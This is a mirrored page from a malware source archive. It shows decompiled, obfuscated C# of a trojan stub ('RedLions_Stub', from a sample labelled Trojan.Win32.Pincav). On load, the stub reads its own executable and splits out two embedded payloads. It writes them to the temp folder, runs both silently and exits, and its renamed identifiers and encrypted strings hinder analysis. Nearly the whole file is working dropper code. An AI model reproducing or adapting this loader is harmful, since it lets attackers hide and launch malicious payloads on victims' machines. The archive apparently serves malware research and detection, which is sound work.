mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 21:05:28 +00:00
288 lines
11 KiB
C#
288 lines
11 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: RedLions_Stub.Form1
|
|||
|
|
// Assembly: Random, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
|
// MVID: 29923E1C-4A06-46C3-B41C-690DFD9D7396
|
|||
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Pincav.cmfl-3fa99ddd788dbbe91390f940f247e68ee6ef463b9a024c2781a0267f9ccc9501.exe
|
|||
|
|
|
|||
|
|
using Microsoft.VisualBasic;
|
|||
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
|
using System;
|
|||
|
|
using System.ComponentModel;
|
|||
|
|
using System.Diagnostics;
|
|||
|
|
using System.Drawing;
|
|||
|
|
using System.IO;
|
|||
|
|
using System.Runtime.CompilerServices;
|
|||
|
|
using System.Windows.Forms;
|
|||
|
|
|
|||
|
|
namespace RedLions_Stub
|
|||
|
|
{
|
|||
|
|
[DesignerGenerated]
|
|||
|
|
public class Form1 : Form
|
|||
|
|
{
|
|||
|
|
private IContainer \u0002;
|
|||
|
|
[AccessedThroughProperty("PictureBox1")]
|
|||
|
|
private PictureBox \u0003;
|
|||
|
|
[AccessedThroughProperty("TextBox1")]
|
|||
|
|
private TextBox \u0005;
|
|||
|
|
[AccessedThroughProperty("PictureBox2")]
|
|||
|
|
private PictureBox \u0008;
|
|||
|
|
[AccessedThroughProperty("PictureBox3")]
|
|||
|
|
private PictureBox \u0006;
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
public Form1()
|
|||
|
|
{
|
|||
|
|
this.Load += new EventHandler(this.\u0002);
|
|||
|
|
this.\u0002();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
protected override void Dispose(bool disposing)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (!disposing || this.\u0002 == null)
|
|||
|
|
return;
|
|||
|
|
this.\u0002.Dispose();
|
|||
|
|
}
|
|||
|
|
finally
|
|||
|
|
{
|
|||
|
|
base.Dispose(disposing);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[DebuggerStepThrough]
|
|||
|
|
private void \u0002()
|
|||
|
|
{
|
|||
|
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(new PictureBox());
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(new TextBox());
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003(new PictureBox());
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005(new PictureBox());
|
|||
|
|
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002()).BeginInit();
|
|||
|
|
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003()).BeginInit();
|
|||
|
|
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005()).BeginInit();
|
|||
|
|
this.SuspendLayout();
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613769));
|
|||
|
|
PictureBox pictureBox1 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002();
|
|||
|
|
Point point1 = new Point(0, 0);
|
|||
|
|
Point point2 = point1;
|
|||
|
|
pictureBox1.Location = point2;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Name = \u0002\u2000.\u0002(-1045613617);
|
|||
|
|
PictureBox pictureBox2 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002();
|
|||
|
|
Size size1 = new Size(100, 50);
|
|||
|
|
Size size2 = size1;
|
|||
|
|
pictureBox2.Size = size2;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabIndex = 0;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabStop = false;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Visible = false;
|
|||
|
|
TextBox textBox1 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002();
|
|||
|
|
point1 = new Point(0, 0);
|
|||
|
|
Point point3 = point1;
|
|||
|
|
textBox1.Location = point3;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Name = \u0002\u2000.\u0002(-1045613607);
|
|||
|
|
TextBox textBox2 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002();
|
|||
|
|
size1 = new Size(100, 20);
|
|||
|
|
Size size3 = size1;
|
|||
|
|
textBox2.Size = size3;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabIndex = 1;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613586));
|
|||
|
|
PictureBox pictureBox3 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003();
|
|||
|
|
point1 = new Point(8, 8);
|
|||
|
|
Point point4 = point1;
|
|||
|
|
pictureBox3.Location = point4;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Name = \u0002\u2000.\u0002(-1045613690);
|
|||
|
|
PictureBox pictureBox4 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003();
|
|||
|
|
size1 = new Size(100, 50);
|
|||
|
|
Size size4 = size1;
|
|||
|
|
pictureBox4.Size = size4;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().TabIndex = 2;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().TabStop = false;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Visible = false;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613680));
|
|||
|
|
PictureBox pictureBox5 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005();
|
|||
|
|
point1 = new Point(183, 186);
|
|||
|
|
Point point5 = point1;
|
|||
|
|
pictureBox5.Location = point5;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Name = \u0002\u2000.\u0002(-1045613656);
|
|||
|
|
PictureBox pictureBox6 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005();
|
|||
|
|
size1 = new Size(100, 50);
|
|||
|
|
Size size5 = size1;
|
|||
|
|
pictureBox6.Size = size5;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().TabIndex = 3;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().TabStop = false;
|
|||
|
|
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Visible = false;
|
|||
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|||
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|||
|
|
size1 = new Size(284, 262);
|
|||
|
|
this.ClientSize = size1;
|
|||
|
|
this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005());
|
|||
|
|
this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003());
|
|||
|
|
this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002());
|
|||
|
|
this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002());
|
|||
|
|
this.Name = \u0002\u2000.\u0002(-1045613638);
|
|||
|
|
this.Text = \u0002\u2000.\u0002(-1045613638);
|
|||
|
|
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002()).EndInit();
|
|||
|
|
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003()).EndInit();
|
|||
|
|
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005()).EndInit();
|
|||
|
|
this.ResumeLayout(false);
|
|||
|
|
this.PerformLayout();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002() => this.\u0003;
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
[MethodImpl(MethodImplOptions.Synchronized)]
|
|||
|
|
internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(
|
|||
|
|
PictureBox _param1)
|
|||
|
|
{
|
|||
|
|
this.\u0003 = _param1;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
internal virtual TextBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002() => this.\u0005;
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
[MethodImpl(MethodImplOptions.Synchronized)]
|
|||
|
|
internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(TextBox _param1) => this.\u0005 = _param1;
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003() => this.\u0008;
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
[MethodImpl(MethodImplOptions.Synchronized)]
|
|||
|
|
internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003(
|
|||
|
|
PictureBox _param1)
|
|||
|
|
{
|
|||
|
|
this.\u0008 = _param1;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005() => this.\u0006;
|
|||
|
|
|
|||
|
|
[DebuggerNonUserCode]
|
|||
|
|
[MethodImpl(MethodImplOptions.Synchronized)]
|
|||
|
|
internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005(
|
|||
|
|
PictureBox _param1)
|
|||
|
|
{
|
|||
|
|
this.\u0006 = _param1;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void \u0002(object _param1, EventArgs _param2)
|
|||
|
|
{
|
|||
|
|
label_0:
|
|||
|
|
int num1;
|
|||
|
|
int num2;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
ProjectData.ClearProjectError();
|
|||
|
|
num1 = -2;
|
|||
|
|
label_1:
|
|||
|
|
int num3 = 2;
|
|||
|
|
string tempPath = Path.GetTempPath();
|
|||
|
|
label_2:
|
|||
|
|
num3 = 3;
|
|||
|
|
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
|||
|
|
label_3:
|
|||
|
|
num3 = 4;
|
|||
|
|
string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|||
|
|
label_4:
|
|||
|
|
num3 = 5;
|
|||
|
|
FileSystem.FileGet(1, ref Expression);
|
|||
|
|
label_5:
|
|||
|
|
num3 = 6;
|
|||
|
|
FileSystem.FileClose(1);
|
|||
|
|
label_6:
|
|||
|
|
num3 = 7;
|
|||
|
|
string[] strArray = Strings.Split(Expression, \u0002\u2000.\u0002(-1045614002));
|
|||
|
|
label_7:
|
|||
|
|
num3 = 8;
|
|||
|
|
FileSystem.FileOpen(3, tempPath + strArray[3], OpenMode.Binary, OpenAccess.ReadWrite);
|
|||
|
|
label_8:
|
|||
|
|
num3 = 9;
|
|||
|
|
FileSystem.FilePut(3, strArray[1], -1L, false);
|
|||
|
|
label_9:
|
|||
|
|
num3 = 10;
|
|||
|
|
FileSystem.FileClose(3);
|
|||
|
|
label_10:
|
|||
|
|
num3 = 11;
|
|||
|
|
FileSystem.FileOpen(5, tempPath + strArray[4], OpenMode.Binary, OpenAccess.ReadWrite);
|
|||
|
|
label_11:
|
|||
|
|
num3 = 12;
|
|||
|
|
FileSystem.FilePut(5, strArray[2], -1L, false);
|
|||
|
|
label_12:
|
|||
|
|
num3 = 13;
|
|||
|
|
FileSystem.FileClose(5);
|
|||
|
|
label_13:
|
|||
|
|
num3 = 14;
|
|||
|
|
Process.Start(tempPath + strArray[3]);
|
|||
|
|
label_14:
|
|||
|
|
num3 = 15;
|
|||
|
|
Process.Start(tempPath + strArray[4]);
|
|||
|
|
label_15:
|
|||
|
|
num3 = 16;
|
|||
|
|
this.Close();
|
|||
|
|
ProjectData.EndApp();
|
|||
|
|
goto label_22;
|
|||
|
|
label_17:
|
|||
|
|
num2 = num3;
|
|||
|
|
switch (num1 > -2 ? num1 : 1)
|
|||
|
|
{
|
|||
|
|
case 1:
|
|||
|
|
int num4 = num2 + 1;
|
|||
|
|
num2 = 0;
|
|||
|
|
switch (num4)
|
|||
|
|
{
|
|||
|
|
case 1:
|
|||
|
|
goto label_0;
|
|||
|
|
case 2:
|
|||
|
|
goto label_1;
|
|||
|
|
case 3:
|
|||
|
|
goto label_2;
|
|||
|
|
case 4:
|
|||
|
|
goto label_3;
|
|||
|
|
case 5:
|
|||
|
|
goto label_4;
|
|||
|
|
case 6:
|
|||
|
|
goto label_5;
|
|||
|
|
case 7:
|
|||
|
|
goto label_6;
|
|||
|
|
case 8:
|
|||
|
|
goto label_7;
|
|||
|
|
case 9:
|
|||
|
|
goto label_8;
|
|||
|
|
case 10:
|
|||
|
|
goto label_9;
|
|||
|
|
case 11:
|
|||
|
|
goto label_10;
|
|||
|
|
case 12:
|
|||
|
|
goto label_11;
|
|||
|
|
case 13:
|
|||
|
|
goto label_12;
|
|||
|
|
case 14:
|
|||
|
|
goto label_13;
|
|||
|
|
case 15:
|
|||
|
|
goto label_14;
|
|||
|
|
case 16:
|
|||
|
|
goto label_15;
|
|||
|
|
case 17:
|
|||
|
|
goto label_22;
|
|||
|
|
}
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|||
|
|
{
|
|||
|
|
ProjectData.SetProjectError(ex);
|
|||
|
|
goto label_17;
|
|||
|
|
}
|
|||
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|||
|
|
label_22:
|
|||
|
|
if (num2 == 0)
|
|||
|
|
return;
|
|||
|
|
ProjectData.ClearProjectError();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|